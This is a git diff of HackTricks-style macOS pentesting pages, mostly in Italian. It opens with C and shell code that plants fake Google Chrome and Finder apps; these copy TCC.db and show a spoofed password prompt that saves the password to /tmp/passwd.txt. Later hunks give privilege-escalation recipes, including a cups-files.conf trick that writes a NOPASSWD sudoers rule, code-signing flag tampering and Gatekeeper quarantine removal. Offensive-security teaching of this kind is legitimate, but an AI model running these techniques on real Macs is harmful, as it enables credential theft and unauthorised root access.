\"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " - "PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); " - "echo \$PASSWORD > /tmp/passwd.txt"; - system(cmd); - return 0; +char *cmd = "open /Applications/Google\\\\ Chrome.app & " +"sleep 2; " +"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " +"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); " +"echo \$PASSWORD > /tmp/passwd.txt"; +system(cmd); +return 0; } EOF @@ -94,22 +91,22 @@ cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> - CFBundleExecutable - Google Chrome - CFBundleIdentifier - com.google.Chrome - CFBundleName - Google Chrome - CFBundleVersion - 1.0 - CFBundleShortVersionString - 1.0 - CFBundleInfoDictionaryVersion - 6.0 - CFBundlePackageType - APPL - CFBundleIconFile - app +CFBundleExecutable +Google Chrome +CFBundleIdentifier +com.google.Chrome +CFBundleName +Google Chrome +CFBundleVersion +1.0 +CFBundleShortVersionString +1.0 +CFBundleInfoDictionaryVersion +6.0 +CFBundlePackageType +APPL +CFBundleIconFile +app EOF @@ -122,18 +119,16 @@ defaults write com.apple.dock persistent-apps -array-add 'tile-data /tmp/Finder.app/Contents/MacOS/Finder.c < int main() { - char *cmd = "open /System/Library/CoreServices/Finder.app & " - "sleep 2; " - "osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " - "PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); " - "echo \$PASSWORD > /tmp/passwd.txt"; - system(cmd); - return 0; +char *cmd = "open /System/Library/CoreServices/Finder.app & " +"sleep 2; " +"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " +"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); " +"echo \$PASSWORD > /tmp/passwd.txt"; +system(cmd); +return 0; } EOF @@ -175,22 +170,22 @@ cat << EOF > /tmp/Finder.app/Contents/Info.plist "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> - CFBundleExecutable - Finder - CFBundleIdentifier - com.apple.finder - CFBundleName - Finder - CFBundleVersion - 1.0 - CFBundleShortVersionString - 1.0 - CFBundleInfoDictionaryVersion - 6.0 - CFBundlePackageType - APPL - CFBundleIconFile - app +CFBundleExecutable +Finder +CFBundleIdentifier +com.apple.finder +CFBundleName +Finder +CFBundleVersion +1.0 +CFBundleShortVersionString +1.0 +CFBundleInfoDictionaryVersion +6.0 +CFBundlePackageType +APPL +CFBundleIconFile +app EOF @@ -203,17 +198,15 @@ defaults write com.apple.dock persistent-apps -array-add 'tile-data `Sharing` +Questi sono i servizi macOS comuni per accedervi da remoto.\ +Puoi abilitare/disabilitare questi servizi in `System Settings` --> `Sharing` -- **VNC**, known as “Screen Sharing” (tcp:5900) -- **SSH**, called “Remote Login” (tcp:22) -- **Apple Remote Desktop** (ARD), or “Remote Management” (tcp:3283, tcp:5900) -- **AppleEvent**, known as “Remote Apple Event” (tcp:3031) - -Check if any is enabled running: +- **VNC**, conosciuto come “Screen Sharing” (tcp:5900) +- **SSH**, chiamato “Remote Login” (tcp:22) +- **Apple Remote Desktop** (ARD), o “Remote Management” (tcp:3283, tcp:5900) +- **AppleEvent**, conosciuto come “Remote Apple Event” (tcp:3031) +Controlla se qualcuno è abilitato eseguendo: ```bash rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l); scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l); @@ -23,103 +22,90 @@ rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l); bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l); printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM"; ``` - ### Pentesting ARD -Apple Remote Desktop (ARD) is an enhanced version of [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) tailored for macOS, offering additional features. A notable vulnerability in ARD is its authentication method for the control screen password, which only uses the first 8 characters of the password, making it prone to [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) with tools like Hydra or [GoRedShell](https://github.com/ahhh/GoRedShell/), as there are no default rate limits. +Apple Remote Desktop (ARD) è una versione avanzata di [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) progettata per macOS, che offre funzionalità aggiuntive. Una vulnerabilità notevole in ARD è il suo metodo di autenticazione per la password dello schermo di controllo, che utilizza solo i primi 8 caratteri della password, rendendolo suscettibile a [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) con strumenti come Hydra o [GoRedShell](https://github.com/ahhh/GoRedShell/), poiché non ci sono limiti di velocità predefiniti. -Vulnerable instances can be identified using **nmap**'s `vnc-info` script. Services supporting `VNC Authentication (2)` are especially susceptible to brute force attacks due to the 8-character password truncation. - -To enable ARD for various administrative tasks like privilege escalation, GUI access, or user monitoring, use the following command: +Le istanze vulnerabili possono essere identificate utilizzando lo script `vnc-info` di **nmap**. I servizi che supportano `VNC Authentication (2)` sono particolarmente suscettibili agli attacchi di forza bruta a causa della troncatura della password a 8 caratteri. +Per abilitare ARD per vari compiti amministrativi come l'escalation dei privilegi, l'accesso GUI o il monitoraggio degli utenti, utilizzare il seguente comando: ```bash sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes ``` +ARD fornisce livelli di controllo versatili, inclusi osservazione, controllo condiviso e controllo completo, con sessioni che persistono anche dopo le modifiche della password dell'utente. Consente di inviare comandi Unix direttamente, eseguendoli come root per gli utenti amministrativi. La pianificazione dei compiti e la ricerca remota di Spotlight sono caratteristiche notevoli, che facilitano ricerche remote a basso impatto per file sensibili su più macchine. -ARD provides versatile control levels, including observation, shared control, and full control, with sessions persisting even after user password changes. It allows sending Unix commands directly, executing them as root for administrative users. Task scheduling and Remote Spotlight search are notable features, facilitating remote, low-impact searches for sensitive files across multiple machines. +## Protocollo Bonjour -## Bonjour Protocol +Bonjour, una tecnologia progettata da Apple, consente **ai dispositivi sulla stessa rete di rilevare i servizi offerti l'uno dall'altro**. Conosciuto anche come Rendezvous, **Zero Configuration** o Zeroconf, consente a un dispositivo di unirsi a una rete TCP/IP, **scegliere automaticamente un indirizzo IP** e trasmettere i propri servizi ad altri dispositivi di rete. -Bonjour, an Apple-designed technology, allows **devices on the same network to detect each other's offered services**. Known also as Rendezvous, **Zero Configuration**, or Zeroconf, it enables a device to join a TCP/IP network, **automatically choose an IP address**, and broadcast its services to other network devices. +La Rete Zero Configuration, fornita da Bonjour, garantisce che i dispositivi possano: -Zero Configuration Networking, provided by Bonjour, ensures that devices can: +- **Ottenere automaticamente un indirizzo IP** anche in assenza di un server DHCP. +- Eseguire **la traduzione nome-indirizzo** senza richiedere un server DNS. +- **Scoprire i servizi** disponibili sulla rete. -- **Automatically obtain an IP Address** even in the absence of a DHCP server. -- Perform **name-to-address translation** without requiring a DNS server. -- **Discover services** available on the network. +I dispositivi che utilizzano Bonjour si assegneranno un **indirizzo IP dall'intervallo 169.254/16** e verificheranno la sua unicità sulla rete. I Mac mantengono un'entrata nella tabella di routing per questa subnet, verificabile tramite `netstat -rn | grep 169`. -Devices using Bonjour will assign themselves an **IP address from the 169.254/16 range** and verify its uniqueness on the network. Macs maintain a routing table entry for this subnet, verifiable via `netstat -rn | grep 169`. +Per DNS, Bonjour utilizza il **protocollo Multicast DNS (mDNS)**. mDNS opera su **porta 5353/UDP**, impiegando **query DNS standard** ma mirate all'**indirizzo multicast 224.0.0.251**. Questo approccio garantisce che tutti i dispositivi in ascolto sulla rete possano ricevere e rispondere alle query, facilitando l'aggiornamento dei loro record. -For DNS, Bonjour utilizes the **Multicast DNS (mDNS) protocol**. mDNS operates over **port 5353/UDP**, employing **standard DNS queries** but targeting the **multicast address 224.0.0.251**. This approach ensures that all listening devices on the network can receive and respond to the queries, facilitating the update of their records. +All'unirsi alla rete, ogni dispositivo seleziona autonomamente un nome, che di solito termina in **.local**, il quale può derivare dal nome host o essere generato casualmente. -Upon joining the network, each device self-selects a name, typically ending in **.local**, which may be derived from the hostname or randomly generated. +La scoperta dei servizi all'interno della rete è facilitata da **DNS Service Discovery (DNS-SD)**. Sfruttando il formato dei record DNS SRV, DNS-SD utilizza **record DNS PTR** per abilitare l'elenco di più servizi. Un client che cerca un servizio specifico richiederà un record PTR per `.`, ricevendo in cambio un elenco di record PTR formattati come `..` se il servizio è disponibile da più host. -Service discovery within the network is facilitated by **DNS Service Discovery (DNS-SD)**. Leveraging the format of DNS SRV records, DNS-SD uses **DNS PTR records** to enable the listing of multiple services. A client seeking a specific service will request a PTR record for `.`, receiving in return a list of PTR records formatted as `..` if the service is available from multiple hosts. +L'utilità `dns-sd` può essere impiegata per **scoprire e pubblicizzare i servizi di rete**. Ecco alcuni esempi del suo utilizzo: -The `dns-sd` utility can be employed for **discovering and advertising network services**. Here are some examples of its usage: - -### Searching for SSH Services - -To search for SSH services on the network, the following command is used: +### Ricerca di Servizi SSH +Per cercare servizi SSH sulla rete, viene utilizzato il seguente comando: ```bash dns-sd -B _ssh._tcp ``` +Questo comando avvia la ricerca dei servizi \_ssh.\_tcp e restituisce dettagli come timestamp, flag, interfaccia, dominio, tipo di servizio e nome dell'istanza. -This command initiates browsing for \_ssh.\_tcp services and outputs details such as timestamp, flags, interface, domain, service type, and instance name. - -### Advertising an HTTP Service - -To advertise an HTTP service, you can use: +### Pubblicizzare un Servizio HTTP +Per pubblicizzare un servizio HTTP, puoi usare: ```bash dns-sd -R "Index" _http._tcp . 80 path=/index.html ``` +Questo comando registra un servizio HTTP chiamato "Index" sulla porta 80 con un percorso di `/index.html`. -This command registers an HTTP service named "Index" on port 80 with a path of `/index.html`. - -To then search for HTTP services on the network: - +Per cercare i servizi HTTP sulla rete: ```bash dns-sd -B _http._tcp ``` +Quando un servizio si avvia, annuncia la sua disponibilità a tutti i dispositivi sulla subnet multicasting la sua presenza. I dispositivi interessati a questi servizi non devono inviare richieste, ma semplicemente ascoltare questi annunci. -When a service starts, it announces its availability to all devices on the subnet by multicasting its presence. Devices interested in these services don't need to send requests but simply listen for these announcements. - -For a more user-friendly interface, the **Discovery - DNS-SD Browser** app available on the Apple App Store can visualize the services offered on your local network. - -Alternatively, custom scripts can be written to browse and discover services using the `python-zeroconf` library. The [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) script demonstrates creating a service browser for `_http._tcp.local.` services, printing added or removed services: +Per un'interfaccia più user-friendly, l'app **Discovery - DNS-SD Browser** disponibile su Apple App Store può visualizzare i servizi offerti sulla tua rete locale. +In alternativa, possono essere scritti script personalizzati per navigare e scoprire servizi utilizzando la libreria `python-zeroconf`. Lo script [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) dimostra come creare un browser di servizi per i servizi `_http._tcp.local.`, stampando i servizi aggiunti o rimossi: ```python from zeroconf import ServiceBrowser, Zeroconf class MyListener: - def remove_service(self, zeroconf, type, name): - print("Service %s removed" % (name,)) +def remove_service(self, zeroconf, type, name): +print("Service %s removed" % (name,)) - def add_service(self, zeroconf, type, name): - info = zeroconf.get_service_info(type, name) - print("Service %s added, service info: %s" % (name, info)) +def add_service(self, zeroconf, type, name): +info = zeroconf.get_service_info(type, name) +print("Service %s added, service info: %s" % (name, info)) zeroconf = Zeroconf() listener = MyListener() browser = ServiceBrowser(zeroconf, "_http._tcp.local.", listener) try: - input("Press enter to exit...\n\n") +input("Press enter to exit...\n\n") finally: - zeroconf.close() +zeroconf.close() ``` +### Disabilitare Bonjour -### Disabling Bonjour - -If there are concerns about security or other reasons to disable Bonjour, it can be turned off using the following command: - +Se ci sono preoccupazioni riguardo alla sicurezza o altre ragioni per disabilitare Bonjour, può essere disattivato utilizzando il seguente comando: ```bash sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist ``` - -## References +## Riferimenti - [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md index cfb289039..7350c9b6c 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md @@ -7,9 +7,9 @@ Permessi in una **directory**: - **read** - puoi **enumerare** le voci della directory -- **write** - puoi **cancellare/scrivere** **file** nella directory e puoi **cancellare cartelle vuote**. -- Ma non puoi **cancellare/modificare cartelle non vuote** a meno che tu non abbia permessi di scrittura su di essa. -- Non puoi **modificare il nome di una cartella** a meno che tu non sia il proprietario. +- **write** - puoi **eliminare/scrivere** **file** nella directory e puoi **eliminare cartelle vuote**. +- Ma **non puoi eliminare/modificare cartelle non vuote** a meno che tu non abbia permessi di scrittura su di essa. +- **Non puoi modificare il nome di una cartella** a meno che tu non sia il proprietario. - **execute** - ti è **consentito di attraversare** la directory - se non hai questo diritto, non puoi accedere a nessun file al suo interno, né in alcuna sottodirectory. ### Combinazioni Pericolose @@ -18,7 +18,7 @@ Permessi in una **directory**: - Un **proprietario della directory** genitore nel percorso è l'utente - Un **proprietario della directory** genitore nel percorso è un **gruppo di utenti** con **accesso in scrittura** -- Un **gruppo di utenti** ha accesso **in scrittura** al **file** +- Un **gruppo di utenti** ha **accesso in scrittura** al **file** Con una delle combinazioni precedenti, un attaccante potrebbe **iniettare** un **link simbolico/duro** nel percorso previsto per ottenere una scrittura arbitraria privilegiata. @@ -28,12 +28,18 @@ Se ci sono file in una **directory** dove **solo root ha accesso R+X**, questi * Esempio in: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions) -## Link simbolico / Link duro +## Link Simbolico / Link Duro + +### File/cartella permissivi Se un processo privilegiato sta scrivendo dati in un **file** che potrebbe essere **controllato** da un **utente con privilegi inferiori**, o che potrebbe essere **stato precedentemente creato** da un utente con privilegi inferiori. L'utente potrebbe semplicemente **puntarlo a un altro file** tramite un link simbolico o duro, e il processo privilegiato scriverà su quel file. Controlla nelle altre sezioni dove un attaccante potrebbe **sfruttare una scrittura arbitraria per elevare i privilegi**. +### Open `O_NOFOLLOW` + +Il flag `O_NOFOLLOW` quando utilizzato dalla funzione `open` non seguirà un symlink nell'ultimo componente del percorso, ma seguirà il resto del percorso. Il modo corretto per prevenire il seguire symlink nel percorso è utilizzare il flag `O_NOFOLLOW_ANY`. + ## .fileloc I file con estensione **`.fileloc`** possono puntare ad altre applicazioni o binari, quindi quando vengono aperti, l'applicazione/binario sarà quello eseguito.\ @@ -50,15 +56,19 @@ Esempio: ``` -## FD Arbitrario +## File Descriptors -Se puoi far **aprire a un processo un file o una cartella con privilegi elevati**, puoi abusare di **`crontab`** per aprire un file in `/etc/sudoers.d` con **`EDITOR=exploit.py`**, in modo che `exploit.py` ottenga il FD del file all'interno di `/etc/sudoers` e lo sfrutti. +### Leak FD (no `O_CLOEXEC`) -Ad esempio: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098) +Se una chiamata a `open` non ha il flag `O_CLOEXEC`, il file descriptor sarà ereditato dal processo figlio. Quindi, se un processo privilegiato apre un file privilegiato ed esegue un processo controllato dall'attaccante, l'attaccante **erediterà il FD sul file privilegiato**. -## Evita i trucchi xattrs di quarantena +Se riesci a far **aprire a un processo un file o una cartella con privilegi elevati**, puoi abusare di **`crontab`** per aprire un file in `/etc/sudoers.d` con **`EDITOR=exploit.py`**, in modo che `exploit.py` ottenga il FD al file all'interno di `/etc/sudoers` e lo abusi. -### Rimuovilo +Ad esempio: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), codice: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging + +## Avoid quarantine xattrs tricks + +### Remove it ```bash xattr -d com.apple.quarantine /path/to/file_or_app ``` @@ -114,7 +124,7 @@ Il formato di file **AppleDouble** copia un file inclusi i suoi ACE. Nel [**codice sorgente**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) è possibile vedere che la rappresentazione testuale dell'ACL memorizzata all'interno dell'xattr chiamato **`com.apple.acl.text`** verrà impostata come ACL nel file decompresso. Quindi, se hai compresso un'applicazione in un file zip con formato di file **AppleDouble** con un ACL che impedisce ad altri xattrs di essere scritti... l'xattr di quarantena non è stato impostato nell'applicazione: -Controlla il [**report originale**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) per ulteriori informazioni. +Controlla il [**rapporto originale**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) per ulteriori informazioni. Per replicare questo, dobbiamo prima ottenere la stringa acl corretta: ```bash @@ -136,13 +146,34 @@ ls -le test ``` (Note that even if this works the sandbox write the quarantine xattr before) -Non è davvero necessario, ma lo lascio lì giusto per caso: +Non è davvero necessario, ma lo lascio lì giusto in caso: {{#ref}} macos-xattr-acls-extra-stuff.md {{#endref}} -## Bypassare le firme del codice +## Bypass dei controlli di firma + +### Bypass dei controlli dei binari di piattaforma + +Al alcuni controlli di sicurezza verificano se il binario è un **binario di piattaforma**, ad esempio per consentire la connessione a un servizio XPC. Tuttavia, come esposto in un bypass in https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, è possibile aggirare questo controllo ottenendo un binario di piattaforma (come /bin/ls) e iniettando l'exploit tramite dyld utilizzando una variabile d'ambiente `DYLD_INSERT_LIBRARIES`. + +### Bypass dei flag `CS_REQUIRE_LV` e `CS_FORCED_LV` + +È possibile per un binario in esecuzione modificare i propri flag per aggirare i controlli con un codice come: +```c +// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ +int pid = getpid(); +NSString *exePath = NSProcessInfo.processInfo.arguments[0]; + +uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0)); +status |= 0x2000; // CS_REQUIRE_LV +csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS + +status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0)); +NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status); +``` +## Bypass Code Signatures I bundle contengono il file **`_CodeSignature/CodeResources`** che contiene l'**hash** di ogni singolo **file** nel **bundle**. Nota che l'hash di CodeResources è anche **incorporato nell'eseguibile**, quindi non possiamo modificarlo. @@ -217,7 +248,7 @@ hdiutil detach /private/tmp/mnt 1>/dev/null # You can also create a dmg from an app using: hdiutil create -srcfolder justsome.app justsome.dmg ``` -Di solito, macOS monta il disco comunicando con il servizio Mach `com.apple.DiskArbitrarion.diskarbitrariond` (fornito da `/usr/libexec/diskarbitrationd`). Se si aggiunge il parametro `-d` al file plist di LaunchDaemons e si riavvia, memorizzerà i log in `/var/log/diskarbitrationd.log`.\ +Di solito, macOS monta i dischi comunicando con il servizio Mach `com.apple.DiskArbitrarion.diskarbitrariond` (fornito da `/usr/libexec/diskarbitrationd`). Se si aggiunge il parametro `-d` al file plist di LaunchDaemons e si riavvia, memorizzerà i log in `/var/log/diskarbitrationd.log`.\ Tuttavia, è possibile utilizzare strumenti come `hdik` e `hdiutil` per comunicare direttamente con il kext `com.apple.driver.DiskImages`. ## Scritture Arbitrari @@ -249,19 +280,39 @@ Scrivi un **LaunchDaemon** arbitrario come **`/Library/LaunchDaemons/xyz.hacktri ``` Genera semplicemente lo script `/Applications/Scripts/privesc.sh` con i **comandi** che desideri eseguire come root. -### File Sudoers +### Sudoers File Se hai **scrittura arbitraria**, potresti creare un file all'interno della cartella **`/etc/sudoers.d/`** concedendoti privilegi **sudo**. -### File PATH +### PATH files Il file **`/etc/paths`** è uno dei principali luoghi che popola la variabile d'ambiente PATH. Devi essere root per sovrascriverlo, ma se uno script di un **processo privilegiato** sta eseguendo un **comando senza il percorso completo**, potresti essere in grado di **dirottarlo** modificando questo file. Puoi anche scrivere file in **`/etc/paths.d`** per caricare nuove cartelle nella variabile d'ambiente `PATH`. +### cups-files.conf + +Questa tecnica è stata utilizzata in [questo writeup](https://www.kandji.io/blog/macos-audit-story-part1). + +Crea il file `/etc/cups/cups-files.conf` con il seguente contenuto: +``` +ErrorLog /etc/sudoers.d/lpe +LogFilePerm 777 + +``` +Questo creerà il file `/etc/sudoers.d/lpe` con permessi 777. La spazzatura extra alla fine serve a innescare la creazione del log degli errori. + +Poi, scrivi in `/etc/sudoers.d/lpe` la configurazione necessaria per elevare i privilegi come `%staff ALL=(ALL) NOPASSWD:ALL`. + +Poi, modifica di nuovo il file `/etc/cups/cups-files.conf` indicando `LogFilePerm 700` in modo che il nuovo file sudoers diventi valido invocando `cupsctl`. + +### Sandbox Escape + +È possibile sfuggire alla sandbox di macOS con una scrittura arbitraria su FS. Per alcuni esempi, controlla la pagina [macOS Auto Start](../../../../macos-auto-start-locations.md), ma uno comune è scrivere un file di preferenze del Terminale in `~/Library/Preferences/com.apple.Terminal.plist` che esegue un comando all'avvio e chiamarlo usando `open`. + ## Genera file scrivibili come altri utenti -Questo genererà un file che appartiene a root e che è scrivibile da me ([**codice da qui**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Questo potrebbe anche funzionare come privesc: +Questo genererà un file che appartiene a root e che è scrivibile da me ([**codice da qui**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Questo potrebbe funzionare anche come privesc: ```bash DIRNAME=/usr/local/etc/periodic/daily diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md index 3f98d6ac9..e6b750c9d 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md @@ -2,15 +2,11 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - ## Gatekeeper **Gatekeeper** è una funzione di sicurezza sviluppata per i sistemi operativi Mac, progettata per garantire che gli utenti **eseguano solo software affidabile** sui loro sistemi. Funziona **validando il software** che un utente scarica e tenta di aprire da **fonti esterne all'App Store**, come un'app, un plug-in o un pacchetto di installazione. -Il meccanismo chiave di Gatekeeper risiede nel suo processo di **verifica**. Controlla se il software scaricato è **firmato da uno sviluppatore riconosciuto**, garantendo l'autenticità del software. Inoltre, verifica se il software è **notarizzato da Apple**, confermando che è privo di contenuti dannosi noti e non è stato manomesso dopo la notarizzazione. +Il meccanismo chiave di Gatekeeper risiede nel suo processo di **verifica**. Controlla se il software scaricato è **firmato da uno sviluppatore riconosciuto**, garantendo l'autenticità del software. Inoltre, accerta se il software è **notarizzato da Apple**, confermando che è privo di contenuti dannosi noti e non è stato manomesso dopo la notarizzazione. Inoltre, Gatekeeper rafforza il controllo e la sicurezza dell'utente **richiedendo agli utenti di approvare l'apertura** del software scaricato per la prima volta. Questa misura di sicurezza aiuta a prevenire che gli utenti eseguano involontariamente codice eseguibile potenzialmente dannoso che potrebbero aver scambiato per un file di dati innocuo. @@ -20,9 +16,9 @@ Le firme delle applicazioni, note anche come firme del codice, sono un component Ecco come funziona: -1. **Firmare l'Applicazione:** Quando uno sviluppatore è pronto a distribuire la propria applicazione, **firma l'applicazione utilizzando una chiave privata**. Questa chiave privata è associata a un **certificato che Apple rilascia allo sviluppatore** quando si iscrive al Programma Sviluppatori Apple. Il processo di firma prevede la creazione di un hash crittografico di tutte le parti dell'app e la crittografia di questo hash con la chiave privata dello sviluppatore. -2. **Distribuire l'Applicazione:** L'applicazione firmata viene quindi distribuita agli utenti insieme al certificato dello sviluppatore, che contiene la corrispondente chiave pubblica. -3. **Verificare l'Applicazione:** Quando un utente scarica e tenta di eseguire l'applicazione, il sistema operativo Mac utilizza la chiave pubblica del certificato dello sviluppatore per decrittografare l'hash. Quindi ricalcola l'hash in base allo stato attuale dell'applicazione e lo confronta con l'hash decrittografato. Se corrispondono, significa che **l'applicazione non è stata modificata** da quando è stata firmata dallo sviluppatore e il sistema consente l'esecuzione dell'applicazione. +1. **Firmare l'applicazione:** Quando uno sviluppatore è pronto a distribuire la propria applicazione, **firma l'applicazione utilizzando una chiave privata**. Questa chiave privata è associata a un **certificato che Apple rilascia allo sviluppatore** quando si iscrive al Programma Sviluppatori Apple. Il processo di firma prevede la creazione di un hash crittografico di tutte le parti dell'app e la crittografia di questo hash con la chiave privata dello sviluppatore. +2. **Distribuire l'applicazione:** L'applicazione firmata viene quindi distribuita agli utenti insieme al certificato dello sviluppatore, che contiene la corrispondente chiave pubblica. +3. **Verificare l'applicazione:** Quando un utente scarica e tenta di eseguire l'applicazione, il sistema operativo Mac utilizza la chiave pubblica del certificato dello sviluppatore per decrittografare l'hash. Quindi ricalcola l'hash in base allo stato attuale dell'applicazione e lo confronta con l'hash decrittografato. Se corrispondono, significa che **l'applicazione non è stata modificata** da quando è stata firmata dallo sviluppatore e il sistema consente l'esecuzione dell'applicazione. Le firme delle applicazioni sono una parte essenziale della tecnologia Gatekeeper di Apple. Quando un utente tenta di **aprire un'applicazione scaricata da internet**, Gatekeeper verifica la firma dell'applicazione. Se è firmata con un certificato rilasciato da Apple a uno sviluppatore noto e il codice non è stato manomesso, Gatekeeper consente l'esecuzione dell'applicazione. Altrimenti, blocca l'applicazione e avvisa l'utente. @@ -72,7 +68,7 @@ GateKeeper verificherà se, secondo le **preferenze e la firma**, un binario pu
-**`syspolicyd`** è il principale daemon responsabile dell'applicazione di Gatekeeper. Mantiene un database situato in `/var/db/SystemPolicy` ed è possibile trovare il codice per supportare il [database qui](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp) e il [modello SQL qui](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql). Nota che il database non è limitato da SIP ed è scrivibile da root e il database `/var/db/.SystemPolicy-default` è utilizzato come backup originale nel caso in cui l'altro venga corrotto. +**`syspolicyd`** è il principale demone responsabile dell'applicazione di Gatekeeper. Mantiene un database situato in `/var/db/SystemPolicy` ed è possibile trovare il codice per supportare il [database qui](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp) e il [modello SQL qui](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql). Nota che il database non è limitato da SIP ed è scrivibile da root e il database `/var/db/.SystemPolicy-default` è utilizzato come backup originale nel caso in cui l'altro si corrompa. Inoltre, i bundle **`/var/db/gke.bundle`** e **`/var/db/gkopaque.bundle`** contengono file con regole che vengono inserite nel database. Puoi controllare questo database come root con: ```bash @@ -91,7 +87,7 @@ anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists an **`syspolicyd`** espone anche un server XPC con diverse operazioni come `assess`, `update`, `record` e `cancel` che sono anche raggiungibili utilizzando le API 